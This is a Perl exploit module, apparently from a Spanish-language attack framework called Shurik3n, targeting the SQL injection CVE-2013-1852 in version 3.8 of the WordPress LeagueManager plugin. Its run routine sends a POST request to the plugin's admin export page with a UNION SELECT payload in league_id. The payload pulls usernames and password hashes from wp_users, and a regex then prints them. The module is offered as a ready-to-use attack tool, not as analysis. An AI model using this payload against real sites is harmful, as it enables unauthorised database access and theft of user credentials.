####
#  _________.__                 .__ __    ________         
# /   _____/|  |__  __ _________|__|  | __\_____  \  ____  
# \_____  \ |  |  \|  |  \_  __ \  |  |/ /  _(__  < /    \ 
# /        \|   Y  \  |  /|  | \/  |    <  /       \   |  \
#/_______  /|___|  /____/ |__|  |__|__|_ \/______  /___|  /
#        \/      \/                     \/       \/     \/ 
#
#                   
#                      
#   CLASE            :    EXPLOITS::SQLI::WPLeagueManagerPlugin_V3_8_SQLI                                                             
#   CREADO POR       :    Dshellnoi Unix 
#   CORREO           :    templesec0day@gmail.com                   
#   FECHA            :    05-4-2013                             
#   ACTUALIZACION    :      
#   VERSION          :    0.1 
#
#   ORIGINAL EXPLOIT :    Joshua Reynolds
#   WEB RESEARCHER   :    infosec4breakfast.com                      
#                                                                
#   LICENCIA:                                                 
#            SUJETO A LA LICENCIA SHURIK3N           
####

package EXPLOITS::SQLI::WPLeagueManagerPlugin_V3_8_SQLI;
use strict;
use HTTP::Request::Common;
use LWP::UserAgent;
use LIBS::GNRL::Texto ;
use LIBS::GNRL::Colores ;



use vars qw($VERSION @ISA);
@ISA = qw(); 
$VERSION = '0.01';


sub new {

    my($class) = @_;
    
     my $self =  ( { Title        => "WordPress LeagueManager Plugin v3.8 SQL Injection",
                    Author        => "Joshua Reynolds",
                    Date          => "13-03-13",
                    Ranking       => "Good",
                    Platform      => "php",
                    Tested        => "BT5R1:R3 - Ubuntu 10.04.2 LTS ",
                    Type          => "SQLI",
                    OSVDB         => "NULL",
                    CVE           => "CVE-2013-1852",
                    CWE           => "NULL", 
                    Webauthor     => "infosec4breakfast.com", 
                    Descrition    =>qq[LeagueManager Plugin v3.8 SQL Injection],

                    ARG           => [

                                      ["TARGET","Set the target"       ,1],
                                      ["PT"    ,"Set the path"         ,1],
                                      ["UA"    ,"Set the User Agent"   ,0],
                                      ["PROXY" ,"Set the proxy"        ,0]

                                     ],
                  


                 });
     

    bless($self, $class);
    return $self;
}


sub run
{

my($self,@data) = @_;  

my $url =  "$data[0]";
my $path = "$data[1]" ;
my $user_agent ;


##
## COMPROVAMOS URI
##

my $cmp_uri = LIBS::GNRL::Texto->new();
   $cmp_uri->cmp_url($url); 


#
# PATH
#
my $cmp_path = LIBS::GNRL::Texto->new();
   $cmp_path->cmp_path($path); 


#
# CMP UA 
#

if($data[2] eq 0){

$user_agent = "$0/0.1" ;

}
else{

$user_agent = $data[2] ;

}

   my $ua = new LWP::UserAgent;
   $ua->timeout(15);
   $ua->agent("$user_agent");


#
# CMP PROXY
#


   if($data[3] ne 0){

my $cmp_proxy = LIBS::GNRL::Texto->new();
   $cmp_proxy->cmp_proxy($data[3]); 
   $ua->proxy([qw(http https)] => "$data[3]");

}


print "\n";

my $test =  LIBS::GNRL::Colores->new(); 
   $test->pinta("ROJO", "[+]Launching exploit\n\n") ;

sleep 1 ;

 
my $req = POST "$url$path"."/wp-admin/admin.php?page=leaguemanager-export",
    [
    league_id => '7 UNION SELECT ALL user_login,2,3,4,5,6,7,8,9,10,11,12,13,user_pass,15,16,17,18,19,20,21,22,23,24 from wp_users--',
    mode      => 'teams',
    leaguemanager_export => 'Download+File'
    ];

my $res = $ua->request($req);


if($res->code ne 200){

my $test =  LIBS::GNRL::Colores->new(); 
   $test->pinta("ROJO", "[-]Error launching exploit\n\n") ;
   printf("\033[31m[-]Status[%d]\033[00m", $res->code) ;  
   print "\n";
   goto SHELL ;
 }


 if($res->as_string =~ /21\t(.*)\t2.*0\t(.*)\t15/) {
        print "[+]User: ".$1."\n";
        print "[+]Hash: ".$2."\n";
    }


  
}

1;